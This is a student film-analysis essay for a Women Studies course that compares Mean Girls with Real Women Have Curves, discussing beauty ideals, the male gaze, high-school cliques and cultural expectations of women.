Long Vu / November 17, 2012 / Women Studies / Sally Winkle / Film Analysis Mean Girls In Mean Girls, the main character is Lindsay Lohan who plays the role of a 15 year old high school student, Cady Heron. Cady is The 15-year-old, Africa-raised high school girl begins her high school life by learning what it’s like to be a normal girl by making friends and talking about other classmates. The first thing the students thought when they heard there was a new transfer student in class from Africa was a black person, so everyone turned to the darkest person in the room, waiting for his introduction, but that wasn’t the case.Cady (pronounced â€Å"Katie†) simply has zoologist parents that love nature and the African culture. Her first two friends are a girl who has been labeled as a lesbian and a guy that is considered gay. From these two friends, Cady learns about a group of pretty girls known as â€Å"the plastics† that basically do and get anything they want due to their physical attractiveness. The high school students have been segmented to their own groups such according to their hobbies and characteristics such as jocks and the mathletes.Cady encounters the Plastics by helping out her 2 friends to find out what has been written about them in a â€Å"burn book† which apparently has information on any and everyone at school. A sequence of events lead to Cady conforming to the beauty ideals of the plastics and even begin to take on the role as the â€Å"Queen Bee† by leading the girls and controlling everyone to get anything she wants. The image of beauty is represented by the plastics and is shown to have power over everyone that views them as hot and sexy.Cady doesn’t understand much about how beauty and power relate until she realizes how the plastics seem to get away with everything by showing a little beauty. Slowly but gradually, Cady adapts to high school life and becomes a person she doesn’t respect. The significance of the male is gaze in Mean Girls is the whole point of the Plastics, because this view has set the man as the standard leader. But to gain power, the girls must show beauty that causes every man, and even every girl to respect their beauty whether it is through torture, abuse, lies, or anything they may wish.One of the most important reasons for Cady’s transformation and development is due to her lust for a male classmate. This emotion she has causes her to become heartless and dumbfounded, which results in her returning to herself in the end and being happy with respect to everything she has done and that has happened. Mean Girls was quite an enjoyable movie to watch, it felt very realistic with overdramatic scenes of beauty ideals, but still very understandable. The idea of being gay and lesbianis looked down upon and people find it strange to be anything other than heterosexual.The social norm also had a very realistic feel, since my high school life had its similar moments to Mean Girls. Though, not quite as exaggerated, high school life can be a very rough time for students who have been deemed as strange or different and unacceptable due to their characteristics and preferences. Cady Heron’s development involved her first high school experiences to include what it’s like to be new, become popular and wanted, then be hated and liked for false rumors, and finally returning to herself, a person who she and her parents respect along with the rest of her high school.When I compare the two films Mean Girls and Real Women Have Curves, I notice how both films share similar ideas about women being viewed by men as objects of beauty. The differences between the two films would have to include the age difference (beginning high school and graduating from high school), racial difference, and cultural difference of where they are living. Both main characters are female and believe they know how to take care of themselves. Mean Girls’ Cady is more about innocence, whereas Real Women Have Curves’ Ana is about the Hispanic sweatshop life in a low class neighborhood.Ana learns and experiences what hard work really is, in comparison to going to school and getting a scholarship to a well known college, while Cady learns what being beautiful can do to a person. Ana and the rest of the women in the film work indoors to make dresses, and cook and perform housework chores, while the men work outside and use heavy equipment all day. When dealing with beauty, both films express beauty ideals as skinny and plastic like shine and smooth skin. The cultural differences between each ilm include how Ana is held by her Hispanic heritage and her parents living in the old world, wanting her to be married and successful in life, while staying at home with her family and uncle and cousins. Cady is still new to her civilized high school life and wants to make friends and succeed in school while making her parents h appy and being true to herself. The narrative structures are also a bit different, because Mean Girls is from Cady’s perspective, but in Real Women Have Curves, we seem to be viewing what is going on from a third person’s perspective. This leads us to draw out own ideas and conclusions about what is happening.I feel the male gaze in Real Women Have Curves isn’t quite as dominant as Mean Girls’ male gaze, because the Hispanic women seem more independent of their own actions, aside from the mother who is still all about her husband and family, and even having her daughters being married off and creating their own families. When the mother thinks about her older daughter and believes there is no chance for her to be happy in finding a husband and having a child, she places all her efforts in Ana to find a good man and does her best to push Ana into being attractive to men, including how to walk like a woman and look like a women that is beautiful.Cady is com pletely infatuated with her male classmate and tries to be closer to him by pretending to be dumb in math and even dressing up in a tight and revealing dress at her house party for him. Unfortunately none of the ideas Cady has come up with seems to work for her, and she realizes she can’t continue to be this kind of person any more, especially when all of her classmates dislike her and her own mother argues that she doesn’t know who her daughter is anymore. The impact of social norms is huge in both films, since this seems like the body and main idea in both films.Ana breaks the stereotype of Hispanics by being smart and having her own ideas about what a women and beauty should be. Being a man’s sexual desires and working for an extremely low wage doesn’t make sense to Ana at all. Education and being successful in one’s goals and dreams is what I feel from Ana. Ana is successful at school and begins a relationship with a Caucasian classmate, her te acher gets her to write about her personal life and acceptance to a leading college with a full ride, tuition paid scholarship, but Ana still remembers what her mother and father wants for her.Cady Heron is doing her best to adapt to being a ‘normal’ high school girl. Beauty seems to be the leading characteristic to have in every situation and being smart is almost looked down upon from the beauty and popularity perspective. The moment the plastics walk into the cafeteria and sit at their designated table, and have set rules for who may sit and what outfits must be worn throughout the week to be accepted to sit at the table for lunch, Cady begins to feel the difference between being normal and being beautiful.